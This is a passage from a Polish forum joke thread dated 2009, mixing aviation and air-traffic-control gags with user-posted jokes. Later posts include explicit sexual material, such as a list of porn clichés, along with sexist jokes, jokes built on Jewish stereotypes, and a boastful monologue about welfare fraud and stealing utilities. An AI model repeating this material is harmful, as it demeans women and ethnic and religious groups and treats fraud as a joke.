pilot F-16: "Przyjalem, znajde..."
pilot F-117 (natychmiast i monotonnie): A gówno.

ZALOGA DO PASAZERÓW
Podczas "godzin szczytu" na lotnisku w Houston, jeden z lotów byl opózniony z powodów technicznych. Poniewaz bramka bylo potrzebna dla nastepnego wylotu, samolot zostal odholowany i ustawiony tak, aby ekipa techniczna mogla przy nim pracowac. Pasazerom przekazano numer nowej
bramki, która okazala sie byc spory kawalek dalej. Wszyscy przeszli do nowej bramki i tam dowiedzieli sie, ze wyznaczono kolejna, trzecia juz bramke. Po chwili zamieszania pasazerowie weszli na poklad i wlasnie siadali, gdy stewardessa oglosila przez glosniki:
"Przepraszamy za klopoty zwiazane ze zmiana bramki w ostatniej chwili. Ten lot jest to Waszyngtonu, DC. Jezeli ktos z Panstwa nie zamierzal leciec do Waszyngtonu, DC, powinien teraz wysiasc." I wtedy bardzo zmieszany i czerwony na twarzy pilot wyszedl z kokpitu, ciagnac za soba swoje torby.
"Przepraszam" powiedzial "pomylilem samoloty."

Po wyladowaniu nowego Boeinga 777 linii United Airlines w jego locie prezentacyjnym, stewardessa wypowiedziala zwyczajowe: "Prosimy o pozostanie na swoich miejscach z zapietymi pasami bezpieczenstwa, az samolot zatrzyma sie, a kapitan wylaczy nakaz zapiecia pasów. Jak nam wiadomo, zadnemu pasazerowi nie udalo sie jeszcze przegonic samolotu w drodze do bramki, wiec naprawde mozecie dac sobie spokój."

Kapitan przez interkom do pasazerów: "Prosze Panstwa, nasz start sie nieco opózni. Niestety, maszyna, która niszczy Panstwa bagaze sie zepsula i nasza obsluga naziemna musi niszczyc bagaz recznie."

"Panie i Panowie, tu mówi kapitan. W imieniu naszej zalogi i linii Alaska Airlines chcielismy podziekowac Panstwu za dzisiejszy lot. Zblizamy sie do Los Angeles i prosimy o umieszczenie bagazy pod fotelem przed Panstwem oraz zlozenie stolików i foteli." " pauza " "A, jeszcze jedno " przypomniano mi, zebym Panstwa poinformowal, ze kiedy zejdziecie z pokladu i przejdziecie do hali odbioru bagazu, mozecie zauwazyc tony jemioly wiszace przy bramkach naszej konkurencji. Prosze sie nie dziwic " jest tam po to, aby przypomniec Panstwu, ze korzystajac z uslug naszej konkurencji mozecie pocalowac swój bagaz na pozegnanie..."

Pilot: "No ludzie, wlasnie wznieslismy sie na poziom lotu, wiec wylaczam znak nakazu zapiecia pasów. Mozecie swobodnie poruszac sie po kabinie pasazerskiej, ale prosze zostancie w samolocie az do wyladowania... na zewnatrz jest raczej chlodno, a jezeli przejdziecie na skrzydla, to moze to wplynac na sposób lotu".
Po wyladowaniu: "Dziekujemy za wybranie Delta Business Express. Mamy nadzieje, ze jestescie tak samo zadowoleni z dolozenia do naszego biznesu, jak my jestesmy zadowoleni z zabrania was na przejazdzke."
Gdy samolot wyladowal i wlasnie hamowal na lotnisku Washington National, pojedynczy glos zawolal przez glosniki: Prrr! kurde, prrr!


Pilot akurat w tym rejsie wyladowal wyjatkowo twardo, uderzajac samolotem jak mlotem o podloze. Ta linia lotnicza wymagala, aby pierwszy oficer stal w drzwiach i zegnal pasazerów usmiechem i slowami:
"Dziekujemy za lot liniami XYZ". Ciezko mu bylo patrzec w oczy pasazerów chwile po tym kiepskim ladowaniu, zastanawiajac sie który z gosci wyskoczy z jakims zlosliwym komentarzem. W koncu wszyscy wyszli za wyjatkiem starszej pani, wspierajacej sie na lasce. Powiedziala:
"Synku, czy moge zadac pytanie?".
"Alez oczywiscie" odpowiedzial pilot "o co chodzi""
Starsza pani na to:
"My wyladowalismy czy zostalismy zestrzeleni?".
----
Wieża: Jesteście Airbus 320 czy 340?
Pilot: Oczywiście, że Airbus 340.
Wieża: W takim razie niech pan będzie łaskaw włączyć przed startem pozostałe dwa silniki.

Pilot: Dzień dobry Bratysławo.
Wieża: Dzień dobry. Dla informacji - mówi Wiedeń.
Pilot: Wiedeń?
Wieża: Tak.
Pilot: Ale dlaczego, my chcieliśmy do Bratysławy.
Wieża: OK, w takim razie przerwijcie lądowanie i skręćcie w lewo...

Pilot Alitalia, któremu piorun wyłączył pół kokpitu: "Skoro wszystko wysiadło, nic już nie działa, wysokościomierz nic nie pokazuje...."
Po pięciu minutach nadawania odzywa się pilot innego samolotu: "Zamknij się, umieraj jak mężczyzna..."

Pilot: Mamy mało paliwa. Pilnie prosimy instrukcje...
Wieża: Jaka jest wasza pozycja? Nie ma was na radarze!
Pilot: Stoimy na pasie nr 2 i już całą wieczność czekamy na cysternę.

Pilot: Prosimy o pozwolenie na start.
Wieża: Sorry, ale nie mamy waszego planu lotu. Dokąd lecicie?
Pilot: Do Saltzburga, jak w każdy poniedziałek...
Wieża: DZISIAJ JEST WTOREK
Pilot: No to super, czyli mamy wolne...

Wieża: Wasza wysokość i pozycja?
Pilot: Mam 180 cm wzrostu i siedzę z przodu po lewej...

Wieża: Macie dość paliwa czy nie?
Pilot: Tak.
Wieża: Tak, co?
Pilot: Tak, proszę pana.

Wieża: Podajcie oczekiwany czas przylotu.
Pilot: Wtorek by pasował....

Kiedy w Anglii wprowadzono Concordy na linie transatlantyckie, wymyślono hasło mające chwalić prędkość samolotu. Brzmiało ono: "Breakfast in London, lunch in New York". Natychmiast w formie graffitti pojawiło się uzupełnienie: "Luggage in Bangkok."

Opóźniony start samolotu VIP'a Ala Gore'a z lotniska ALB w piątkowy wieczór wkurzył cały ruch lotniczy na Północnym Zachodzie. Po kolejnej zmianie informacji o oczekiwaniu na lądowanie, kontroler zapytał:
- "Commuter 5678, wytrzymasz jeszcze jakieś pół godziny?". Na co uzyskał odpowiedź:
- "Tak, oczywiście, nie mam problemu z paliwem. Ale muszę przestrzec, że już połowa moich pasażerów przeszła do obozu Republikanów."

Kontroler lotu: "Cessna G-ABCD podaj zamierzenia?"
Cessna: "Zdobyć zawodową licencję pilota i licencję lotów na instrumentach."
Kontroler lotu: "Miałem na myśli następne pięć minut, nie pięć lat."

Kandydat na pilota marynarki lecąc na instrumentach, zagubiony, sfrustrowany, niechcący włącza radio zamiast interkomu, kiedy chciał powiedzieć swojemu instruktorowi, że jego orientacja w sytuacji opadła
poniżej optimum:
Uczeń (nadając w świat): "Sir, wszystko mi się po......ło."
Wieża w Whiting: "Samolot używający przekleństw, zidentyfikować się."
Instruktor (po krótkiej przerwie): "Mój uczeń powiedział, że mu się po......ło, a nie, że jest głupi."

Kontroler lotu: "Widoczność pionowa zero."
Pilot: "W stopach czy w metrach?"

Wieża: "Cessna N1234, uwaga na turbulencję śladową za UA 737".
Cessna: "Wieża San Jose, Cessna jest przed 737."
(dłuższa przerwa)
Wieża: "UA 737, uwaga na turbulencję śladową za Cessną 172."

Pilot-uczeń zgubił się podczas samodzielnego lotu w terenie. Podczas
próby zlokalizowania samolotu na radarze kontroler lotów zapytał:
-"Jaka była twoja ostatnia znana pozycja?"
Pilot-uczeń odpowiedział na to:
-"Kiedy ustawiono mnie do startu..."

Samolot: "Radar, jesteśmy szykiem dwóch A10, właśnie nad wami i, eee..
tego.., ...zapomnieliśmy jaki mieliśmy sygnał wywoławczy."
Radar: "Żaden problem, przydzielimy wam tymczasowe sygnały: Głupek Jeden i Głupek Dwa."

Wieża na Monachium II: "LH 8610 pozwolenie na start."
Pilot (LH 8610): "Ale my jeszcze nie wylądowaliśmy!"
Wieża: "Dobra, a niby to kto stoi na pasie 26?"
Pilot (LH 8801): "LH 8801."
Wieża: "OK, to w takim razie wy macie pozwolenie na start!"

Pilot małej awionetki: "Hm, kontrola, potwierdźcie, że chcecie, żebym kołował przed 747."
Kontrola lotów: "Taa, będzie dobrze. Nie jest głodny..."

Rzecz dzieje się w piękny letni słoneczny dzień, opodal lotniska Billund, w Danii.
Kontrola Billund: "Szybowce 82 i D5, podajcie pozycję i wysokość?"
Pilot 82: "Nad jeziorem, 6400 stóp."
Pilot D5: "Ta sama pozycja, ta sama wysokość."
Kontrola (zimnym, suchym głosem): "To mam wyjąć raport o kolizji?"

Facet, o którym będzie mowa, był świetnym pilotem, ale nie bardzo potrafił uspokoić pasażerów. Pewnego razu samolot lądujący przed nim rozwalił sobie oponę podczas lądowania, a jej gumowe szczątki rozleciały się po całym pasie. Polecono mu poczekać aż pas zostanie sprzątnięty.
A, oto jego ogłoszenie do pasażerów: "Panie i panowie, obawiam się, że będziemy mieli niewielkie opóźnienie w przylocie. Na dole zamknięto lotnisko do chwili, gdy to, co zostało z ostatniego samolotu, który tam wylądował, zostanie usunięte."

Kontrola: "Piper N444D, uwaga samolot, na godzinie drugiej, 500 stóp poniżej."
Piper N444D: "Hm, widzimy jakieś zbliżające się do nas światełko..."
Kontrola: "Przypatrzcie się, za tym światełkiem jest pewnie samolot."

Pilot: "W jakiej jesteśmy odległości od innego samolotu?"
Kontrola: "Trzy mile."
Pilot: "Nam to nie wygląda na trzy mile!"
Kontroler: "Jesteście półtorej mili od niego, a on od was półtorej mili... razem trzy mile."

Pilot małego samolotu pocztowego miał dość swobodne podejście do przepisowego słownictwa, prawdopodobnie z powodu znudzenia rutynowymi, nocnymi lotami. Każdego dnia o 2:15 w nocy lądował na małym lotnisku wywołując je:
- "Dzień dobry lotnisko Jones, zgadnij kto?"
Kontroler lotów też był znudzony, ale nalegał na zachowanie prawidłowej terminologii i pouczał tego pilota codziennie jak prawidłowo korzystać z radia. Lekcje nie przynosiły rezultatu i pilot kontynuował swoje codzienne pytania "zgadnij kto?".
Tak było też pewnej nocy, gdy w radiu zabrzmiało:
- "Dzień dobry lotnisko Jones, zgadnij kto?"
Kontroler, tym razem dobrze przygotowany, wygasił wszystkie światła na lotnisku i odpowiedział:
- "Tu lotnisko Jones, zgadnij GDZIE!"
Od tej chwili komunikacja radiowa przebiegała najzupełniej prawidłowo...

Podczas długodystansowego lotu, świeżo upieczony pilot zaczął rozglądać się za jakimś lotniskiem, gdzie mógłby uzupełnić paliwo. Ponieważ miał go coraz mniej, wkrótce zaczął szukać także zwykłych stacji benzynowych z możliwością wylądowania i po pewnym czasie wypatrzył stację benzynową
umiejscowioną tuż przy prostym odcinku autostrady, bez żadnych dodatkowych przeszkód na bokach. Gdy podkołował do pomp, starszy człowiek okupujący fotel tuż przy drzwiach wyglądał na zupełnie
niewzruszonego tym widokiem.
W końcu młody pilot nie wytrzymał i zapytał:
- "Jak sądzę, nie miewacie tu wielu samolotów, na tej stacji?"
- "Nie" odpowiedział staruszek, patrząc na horyzont podczas pompowania paliwa do baku. "Zakładam, że większość z nich tankuje o tam.." - kontynuował pokazując palcem - "na tym lotnisku po drugiej stronie autostrady"...
_________________

Dany - 13-10-2009, 10:35

Mąż i żona jadą przez wieś samochodem. Nie odzywają się do siebie, bo są

świeżo po kłótni. Nagle żona spostrzega stadko świń i pyta

pogardliwie męża:

- Twoja rodzina?

- Tak, teściowie!

[ Dodano: 13-10-2009, 10:37 ]
Skazali gościa na śmierć. Jednak był tak gruby, że się nie mieścił na

krześle elektrycznym. Zarządzili dietę. Po tygodniu o chlebie i wodzie -

koleś zamiast schudnąć, przytył 10 kilo. Na krzesło nijak się nie

mieści.

Zarządzili tylko wodę - znów przytył 10 kilogramów. Postanowili nic mu

nie

dawać. Kolo zamiast chudnąć, poprawił się o10 kg.

- Co jest, czemu nie chudniesz?

- Jakoś ku.wa nie mam motywacji...

[ Dodano: 13-10-2009, 10:38 ]
Facet zobaczył na ulicy kobietę z idealnymi piersiami. Podbiegł do niej

I spytał się:

- Czy dasz mi jedną ugryźć za stówę?

- Wal się pan!

- To może za tysiąc?

- Nie jestem dziwką!

- A za 10.000 zł?

Kobieta pomyślała sobie, że to spora sumka i warto ją zdobyć.

- Dobrze, ale nie tu. Poszli w ciemny zaułek, gdzie kobieta rozebrała

Się od pasa w górę

pokazując najpiękniejsze piersi na świecie. Facet zaczął je lizać,

pieścić,

ssać i całować, ale nie gryzł. W końcu zniecierpliwiona kobieta

powiedziała:

- To ugryzie pan czy nie?!

- Nie, trochę drogo...

[ Dodano: 13-10-2009, 10:40 ]
Blondynka u doktora:

- Niech mi pan pomoże! Trzmiel mnie użądlił!

- Spokojnie, zaraz posmarujemy maścią...

- A jak go pan doktor złapie? Przecież on już poleciał!

- Nie! Posmaruję to miejsce, gdzie panią użądlił!

- Aaaa! To było w parku, przy fontannie, na ławce pod drzewem.

- Kretynko! Posmaruję tą część ciała, w którą cię uciął!

- To trzeba było od razu tak mówić! W palec mnie użądlił. Boże,

jak to boli!

- Który to konkretnie?

- A skąd mam wiedzieć? Wszystkie trzmiele wyglądają podobnie...

[ Dodano: 13-10-2009, 10:41 ]
Starsza kobieta udała się do kościoła, ale zapomniała różańca.

Kłopot duży, bez paciorków ani rusz.... Tymczasem w ławce przed nią

zasiadł stary, suchy i przygarbiony dziadek. Przesuwając dłoń po jego

kręgosłupie,>>>>>>> sprytna kobieta postanowiła wykorzystać jego

wystające

kręgi

jako

paciorki........ Gdy już skończyła, dziadek odwrócił się i

teatralnym

szeptem powiedział:

- Teraz medalik ucałuj

[ Dodano: 13-10-2009, 10:46 ]
Przychodzi facet do lekarza:

- Panie doktorze, od kilku dni mam zatwardzenie, nic mi nie pomaga.

- Będziemy musieli panu zaaplikować czopki. Proszę się odwrócić,

ściągnąć

spodnie i pochylić się. Ja panu pokażę jak to się robi.

Facet ściągnął gacie, pochylił się i poczuł jak doktor wsuwa mu

coś do tyłka.

- OK, gotowe. Proszę to samo powtarzać samemu w domu co 12 godzin przez

najbliższe trzy dni. Wieczorem gościu próbował samemu sobie poradzić,

ale jakoś mu

się nie udawało. Poprosił więc żonę o pomoc. Odwrócił się, ściągnął

spodnie i

wypiął du*sko. żona jedną rękę położyła na jego ramieniu, druga

natomiast

zaczęła wkładać mu czopek.

- O ku**a! - wrzasnął w pewnej chwili facet.

- Co się stało kochanie, zabolało cię?

- Nie, ale właśnie sobie uświadomiłem, że ten lekarz trzymał

obie ręce na moich ramionach.

martin - 13-10-2009, 20:28

Lepsze niz skalpel: :)


Beeker - 15-10-2009, 11:18

Wpada Icek do synagogi i lamentuje:
- Nieszczęście! Wstyd! Hańba!
Bóg spojrzał na niego i pyta:
- I czego wrzeszczysz? Co Ci się stało?
- Tragedia! Mój syn się wychrzcił! Został katolikiem!!!
- Mnie to mówisz, Synu? Przecież mój też ...
- Ale co ja mam teraz robić???
- To samo, co ja - Nowy Testament ...

[ Dodano: 15-10-2009, 11:19 ]
Młoda Para w sypialni:
- Zrobimy to na "Urząd Skarbowy"?
- A jak to jest na "Urząd Skarbowy"?
- Ty masz związane ręce, a ja dobieram ci się do dupy ;)

luis - 15-10-2009, 12:15

fragment wywiadu z objętym opieką społeczną panem:


- W życiu bym nie poszedł do roboty za 2 tys. zł na rękę.

Żyję z konkubiną i 3 dzieci, jedno chyba moje.

Ona zarejestrowana - oczywiście jako samotna matka.

Full socjal - czynsz MOPS płaci.

2 tony węgla z MOPS na zimę sprzedaliśmy po 500 zeta za tonę.

Po co mi, jak i tak mam darmo prąd z klatki schodowej.



Żarcia tyle, że zjeść się nie da.

Makaron, cukier, ryż sprzedajemy znajomym, bo sklepy nie chcą

- jest napisane "pomoc społeczna - nie na sprzedaż".



Dzieci mają ciuchy z darów - wszystko nówki, jedzenie w szkole darmo.
Na wakacje "pod gruszą" dzieci dostały z pomocy społecznej po 700 zł -
kupiłem se nową komórkę, full wypas.

Kredyty mam wszędzie gdzie dali,
nigdzie nie spłacam - mogą mi skoczyć.

Komornik nie ma mi co zabrać,

a zresztą jakby co, to konkubina z dziećmi robi takie przedstawienie,

że urzędnicy przy dziennikarzach muszą nas jeszcze przepraszać.


Żyje się w Polsce dobrze, tylko trzeba pogłówkować

Kablówkę mam darmo - wkłułem się w kabel na sieni.

Od rana piwko, papierosek i Eurosport.


No, nie będę wam dłużej przeszkadzał - bierzcie się do roboty, bo ktoś
musi zarobić na nas biednych, pokrzywdzonych przez los :ping:

Dany - 18-10-2009, 18:19

Koleś poznał dziewcze w klubie,wylądowali u niego i wiadomo co dalej...
Laska po wszystkim mówi:
- Ale czad, jak ty to robisz? Możesz jeszce raz?
Koleś na to:
- No pewnie, ale musze sie zdrzemnąć 10 min, a Ty w tym czasie
trzymaj mnie obiema rękami za członka.
Po 10 minutach dziewczyna budzi kolesia - i co? Dasz radę?
Koleś bez problemu ponownie wyprawia cuda, wszystkie pozycje etc.
Ona znowu:
- Możemy powtórzyć?
- Tak, tylko się przespię 10 min, a Ty trzymaj mnie za członka, tylko obiema rękami.
No i znowu ogień i tak do rana.
Rano panna się pyta:
- Wiesz co, ale powiedz mi, o co chodzi z tymi rękami? W czym Ci
pomaga to trzymanie za członka?
On - W sumie bez tego też dałbym radę, ale wiesz, słabo Cię
znam, jeszcze byś mi chatę okradła...

wielki nicpoń - 19-10-2009, 21:12

Gość, muszę, bo się uduszę - ryzykując bana za brak wykropkowania...

Dres z piskiem hamulców zajeżdża srebrną beemką na osiedle, wysiada i wykrzykuje w kierunku bloków:

- ZAJEBALA, ZA-JE-BAAA-LAAAA!!!

Na to na jednym z balkonów pojawia się dziewczę i syczy:

- IZABELA, kretynie!

nurasartur - 19-10-2009, 22:21

Rosjanie zbudowali pomnik żołnierza , i jak to bywało w tym kraju wraz z odsłonięciem musiała być uroczysta akademia. A jak akademia to i trzeba coś powiedzieć. Zwrócono się do ka-owca aby coś napisał , ale muszą to skontrolować władze aby nie było problemów. No to ka-owiec napisał:
-Etot statóła na statóle stojat sołdat w lewoj rókie dierżit
fiuta w prawoj granat!
Władze sprawdziły i powiedziały: wszystko ok ,ale fiuta ma nie być widać , trochę przerobić dzieło i będzie ok. No to ka-owiec napisał:
- Etot statóła na statóle stojat sołdat lewoj rókoj zakrił fiuta w prawoj dierżit granat !
Władze sprawdziły i awantura, fiuta ma wogóle nie być , bo jak nie to zesłanie.Ka-owiec porobił odpowiednie zmiany , a w ferworze przygotowań nikt go nie skontrolował no i na akademii po odsłonięciu pomnika ka-owiec wszedł na mównicę i zaczyna swoje:
-Etot statóła na statóle stojat sołdat u niewo niet fiuta jewo urwał granat!

Padre-Kris - 19-10-2009, 22:49

Na jezoirze Bajkał stary czerwonoarmista łowi ryby.
Nagle patrzy złapał złotą rybkę.
- Wypuść mnie rybaku a spełnie twoje najskrytsze marzenie m- powiedziała rybka
O czym marzył stary czerwonoarmista?
- Chciałbym dostać Order Lenina - powiedział wrzucając rybkę do wody
Nagle zza ściany lasu wyleciał samolot myśliwski i z rykiem silników strzelając z karabinów maszynowych zaczął pikować na łódkę w której siedział rybak.
Jaka była jego ostatnia myśl? :co:

- Nu patrzaj kakaja bladź - pasmiertnyj dała. :!!:

jacekplacek - 20-10-2009, 07:06

wielki nicpoń napisał/a:
muszę, bo się uduszę - ryzykując bana za brak wykropkowania...

Przychodzi milicjant do lekarza.
- Panie doktorze... Cierpię na uporczywe migreny.
- Proszę Pana.... Migreny, miewają ludzie wykształceni, inteligentni, na poziomie, dobrze urodzeni... A Pana, to po prostu łeb napierdala.

Dany - 20-10-2009, 15:35

Prawnicy nigdy nie powinni zadawać pytań babciom z Misissippi, jeśli
naprawdę nie są gotowi na odpowiedź.

Podczas procesu, w małym miasteczku na południu stanu, pełnomocnik
prokuratora wezwał swojego pierwszego świadka - starszą kobietę.

Zbliżył się do niej i zapytał: "Pani Jones, czy pani mnie zna?".
Kobieta odpowiedziała: "Tak, znam pana, panie Williams. Znam pana
odkąd pan był małym chłopcem i szczerze, był pan dla mnie wielkim
rozczarowaniem. Pan kłamie, zdradza żonę, manipuluje ludźmi i
obgaduje ich za ich plecami. Myśli pan, że jest wielkim paniczem,
jednak nie potrafi sobie zdać sprawy z tego,
że nigdy nie będzie nikim więcej, niż marnym gryzipiórkiem. Tak,
znam Pana."

Prawnik był zamurowany. Nie wiedząc co więcej począć, wskazał na
drugą stronę sali, pytając: "Pani Jones, czy zna pani pełnomocnika
obrony?"

Kobieta znów rozpoczęła tyradę: "Tak, również znam pana Bradleya
odkąd był młodzieńcem. Jest leniwym bigotem z problemem alkoholowym.
Nie potrafi zbudować normalnego związku z kimkolwiek a jego kancelaria
prawna jest jedną z najgorszych w całym stanie. Nie wspominając już
o tym, że zdradzał swoją żonę z trzema różnymi kobietami. Jedną
z nich była pana żona. Tak, znam go."

Pełnomocnik obrony zamarł.

Sędzia poprosił obu pełnomocników do swej ławy i, stonowanym,
cichym głosem, powiedział:

"Jeśli którykolwiek z was idiotów spyta ją czy mnie zna, wyślę was
obu na krzesło elektryczne."

[ Dodano: 21-10-2009, 16:55 ]
Małżeństwo poszło spać, po chwili mąż szturcha żonę, ale ona mówi
żeby poczekał, bo dziecko nie śpi. Sytuacja powtarza się parę razy, aż mąż z
niecierpliwością mówi:
- Chce mi się bardzo pić.
Na to żona:
- To idź do kuchni i się napij!
Poszedł do kuchni ale patrzy, że nie ma nigdzie nic do picia, wiec
zagląda do lodówki - jest szampan. Otwiera szampana a tu oczywiście korek z
trzaskiem wyskakuje.
Żona krzyczy teatralnym szeptem:
- Co ty tam wyrabiasz?!
Na to z drugiego pokoju głos dziecka:
- Nie dałaś mu dupy, to się zastrzelił!

[ Dodano: 21-10-2009, 17:05 ]
Siedzi dwóch małolatów przed telewizorem i jeden do drugiego :
-Ty patrz,Benedykt XVI.......
-A Kubica który ?

Marek Majas - 21-10-2009, 21:30

Po co dziewczyny się malują i perfumują?
-bo są brzydkie i śmierdzą.

Bero - 25-10-2009, 19:29

Marek Majas napisał/a:
Po co dziewczyny się malują i perfumują?
-bo są brzydkie i śmierdzą.

pytanie jest: czemu nosza wysoki obcas, maluja sie i perfumuja?
odp jw, tylko ze jeszcze sa niskie :p

Ruski - 26-10-2009, 12:05

http://www.joemonster.org...rawa_pomeczowa_
Zorpen - 26-10-2009, 13:33

Zima, Alpy, stok.Facet rusza z góry, odbija się kijkami i jedzie na bombę.Nagle podskakuje na muldzie, obraca go, leci, koziołkuje, w tumaniesniegu wali w drzewo…Kijki w jedna, narty w druga, gosć rozwalony, zęby wybite, krew znosa, nogi poskręcane w... dziwny sposób.Otwiera nieprzytomne oczy, wciaga górskie powietrze i mówi:
- I c h u j, i tak lepiej niż w pracy!

:D

Dany - 26-10-2009, 18:45

Dziennikarka skierowana do biura w Jerozolimie zajmuje mieszkanie z
oknami skierowanymi na Ścianę Płaczu.
Każdego dnia, kiedy spogląda przez okno, widzi starego Żyda z brodą
żarliwie się modlącego.
Ponieważ jest to dobrym tematem na wywiad, dziennikarka wyczekuje, kiedy
mężczyzna kończy modlitwę i pyta:
- Przychodzi pan każdego dnia do Ściany Płaczu. Od jak dawna pan to
robi i o co się pan modli?
Mężczyzna odpowiada:
- Przychodzę tutaj, by się modlić każdego dnia od 25 lat. Rano
modlę się o pokój na świecie i o braterstwo ludzi. Idę do domu,
piję filiżankę herbaty, wracam i modlę się o wyeliminowanie
chorób i zaraz z ziemi. I o to, co bardzo, bardzo ważne: modlę się
o pokój i zrozumienie między Izraelczykami i Palestyńczykami.
Dziennikarka jest pod ogromnym wrażeniem.
- I co pan czuje, przychodząc tutaj każdego dnia przez 25 lat i
modląc się o te wspaniałe, tak ważne i istotne dla nas wszystkich
rzeczy? - pyta.

Starszy mężczyzna odpowiada spokojnie: - Jakbym, qrwa, mówił do
ściany...

kalel - 27-10-2009, 15:13

OZNAKI ŻE JESTEŚ JUŻ DOROSŁY/A

1. Nie wyobrażasz sobie seksu w wąskim łóżku.
2. Masz więcej żarcia niż piwa w lodówce.
3. O 6.00 rano wstajesz, a nie idziesz do łóżka.
4. Twoja ulubiona piosenka leci w windzie.
5. Oglądasz TVN Meteo.
6. Twoi znajomi rozwodzą się i pobierają, zamiast rzucać i chodzić.
7. Ze 130 dni wakacji przechodzisz na 14.
8. Jeansy i sweter to nie jest już ubiór wyjściowy.
9. To Ty dzwonisz na policję z powodu zbyt głośnej muzyki u sąsiadów.
10. Rodzina swobodnie żartuje przy Tobie o seksie.
11. Nie wiesz, o której zamykają McDonalda.
12. Ubezpieczenie za samochód spadło, ale Twoje rachunki wzrosły.
13. Dajesz psu specjalne żarcie zamiast resztki z McDonalda.
14. Spanie na wersalce powoduje u Ciebie ból pleców.
15. Nie ucinasz sobie drzemek od południa do 18.00.
16. Kolacja i film to już całość zamiast początek randki.
17. Zjedzenie kubełka skrzydełek z kurczaka o 3.00 nad ranem spowoduje
potężną niestrawność zamiast ukoić żołądek.
18. Do apteki idziesz po Ibuprom i Ranigast, a nie po prezerwatywy i
test ciążowy.
19. Butelka wina za 10 zł to nie jest już "całkiem niezły alkoholik".
20. Właściwie to jesz śniadanie w porze śniadania.
21. "Nigdy już się tak nie nachlam" jest zastępowane przez "Nie umiem
już tak pić jak kiedyś"
22. 90% czasu przed komputerem poświęcasz na pracę.
23. Czytasz tę listę, szukając desperacko jednego punktu, który by Cię nie dotyczył, ale nic nie uratuje
Twojego starego dupska!!!!!

Dany - 27-10-2009, 16:49

Spotykają się dwie pchły. Jedna z nich trzęsie się i jest strasznie przemarznięta.
- A czemu się tak trzęsiesz?
- A bo przyjechałam tu w wąsach motocyklisty i strasznie mnie przewiało. - To na drugi raz zrób tak jak ja: Skaczę sobie na lotnisko, upatruję jakąś stewardessę, wskakuję jej pod spódniczkę, wchodzę pod majteczki i całą podróż śpię w przytulnym i ciepłym "lasku".
- OK tak zrobię następnym razem.
Spotykają się na drugi rok i sytuacja się powtarza, tamtą pchłę trzepie znów z zimna.
- I co nie skorzystałaś z moich rad?
- Zrobiłam dokładnie tak jak mówiłaś, poskakałam na lotnisko, upatrzyłam stewardessę, wskoczyłam jej pod spódniczkę pod majteczki znalazłam ciepły przytulny lasek i zasnęłam. A jak się obudziłam byłam w wąsach motocyklisty.

Beeker - 28-10-2009, 20:32

wielki nicpoń napisał/a:
Beeker, muszę, bo się uduszę


Luzik - ja TU nie moderuję ;)

Dany - 28-10-2009, 23:07

Pewna Pani na rozmowie u psychologa:
- i jak Doktorze?
- niestety syn ma kompleks Edypa...
-hm... kompleks nie kompleks, ważne,że mamusię kocha...

KasiaK - 29-10-2009, 15:12

31 prawd o życiu, których możesz dowiedzieć się filmów porno ;)

1. Kobiety kiedy idą do łóżka zawsze ubierają szpilki.
2. Impotencja to fikcja literacka.
3. 10 sekundowy stosunek jest więcej niż zadawalający.
4. Kiedy masturbująca się kobieta zostanie przyłapana przez obcego mężczyznę
nie będzie krzyczeć lecz zacznie nalegać aby natychmiast uprawiali seks.
5. Kobiety uwielbiają seks z brzydkimi facetami w średnim wieku.
6. Kobiety uśmiechają się z aprobatą kiedy mężczyźni pokrywają ich twarz
spermą.
7. Kobiety kiedy robią loda jęczą bez opamiętania.
8. Kobiety zawsze mają orgazm wtedy kiedy mają go faceci.
9. Kobieta zawsze może się wymigać od mandatu robiąc laskę.
10. Wszystkie panienki robią dużo hałasu podczas stosunku.
11. Ludzie w latach 70 nie mogli uprawiać seksu bez dzikiego solo na
gitarze.
12. Te cycki SĄ prawdziwe.
13. Powszechną i przyjemną czynnością jest kiedy mężczyzna uderza swoim
nie w pełni wzwiedzionym członkiem o pośladki partnerki.
14. Faceci zawsze mamrotają do siebie "OH YEAH" kiedy szczytują.
15. Jeżeli jest ich dwóch to przybijają sobie piątkę.
16. Podwójna penetracja sprawia, że kobiety się uśmiechają.
17. Mężczyźni-Azjaci nie istnieją.
18. Jeżeli napotkasz parę uprawiającą seks w krzakach to facet nie skopie ci
tyłka jeżeli wsadzisz swojego członka do ust jego kobiety.
19. JEST jakaś fabuła.
20. Klepanie kobiet po pośladku podczas stosunku niewyobrażalnie je
podnieca.
21.Pielęgniarki nie dają zastrzyków tylko robią loda.
22.Faceci zawsze wyjmują penisa zanim się spuszczą.
23. Kiedy twoja kobieta nakryje jak jej najlepsza przyjaciółka robi ci loda
to najpierw się wkurzy a potem pójdzie z wami do łóżka.
24. Kobiety nigdy nie miewają bólów głowy.
25. Bardzo ważne jest wielokrotne nakazywanie kobiecie aby "ssała" podczas
kiedy ona właśnie to robi.
26. Odbyt jest czysty.
27. Widok mężczyzny spuszczającego się na kobiece pośladki jest wyjątkowo
przyjemny dla wszystkich którzy to widzą.
28. Kobiety zawsze są mile zaskoczone kiedy zdejmują mężczyźnie spodnie i
dostrzegają jego członka.
29. Mężczyźni nie muszą o nic błagać.
30. Kiedy kobieta klęczy przed mężczyzną zaspokajając go oralnie to ma on
obowiązek umieścić jedną rękę na głowie kobiety a drugą dumnie na swoim
biodrze.
31. Kucyki = uchwyty.

Jaroo74 - 30-10-2009, 17:51

Względność

martin - 30-10-2009, 20:37

Wiem, jest specyficzny, ale sprobuje:

Pierwsza osoba, ktora zrzutuje nastroje kobiet na inta rozwiaze problem generowania liczb prawdziwie losowych.

jacekplacek - 31-10-2009, 18:19


kn_dlugi - 31-10-2009, 18:38

ale gość :) Ale najlepsze jest to że jak demolował klawiaturę to ocalały klawisze ASWD potrzebne do grania :D Ciekawe co by zrobił jakby te klawisze wypadły :) To jest chyba efekt tzw. bezstresowego wychowania. ARMAGJEDON :p
DeDeK - 31-10-2009, 19:18

nie wiem co dzieciak bierze ale chetnie wzialbym namiary na jego dealera i bral polowe tyle energii w nim :D

moze do 20-tki dociagnie potem to juz co najmniej zawal :D

a co do bestresowego hmmm nie lepiej ta klawiatura sie pierd.....c w glowe napewno byloby lepiej ;P

thorne - 31-10-2009, 19:41

Fajny filmik ale niestety napisy są troche podrobione bo gość tak naprawde chce grać w Unreala. (można usłyszeć "UNREAL TOURNAMENT SPIELE!!!) Ale ogólnie to zawsze leje jak to oglądam ;]
martin - 31-10-2009, 20:40

Cale tlumaczenie jest do dupy: n.p. "ich habe ihm umgebracht" na pewno nie tlumaczy sie "this will be so fun". W zasadzie co drugie zdanie jest tlumaczone losowo.
iXXL - 03-11-2009, 15:40

Żona jak co dzień zaczęła narzekać mężowi:
- Zobacz kochanie jakie mam mały biust... co robić...
- Bierz codziennie kawałek papieru toaletowego i pocieraj między
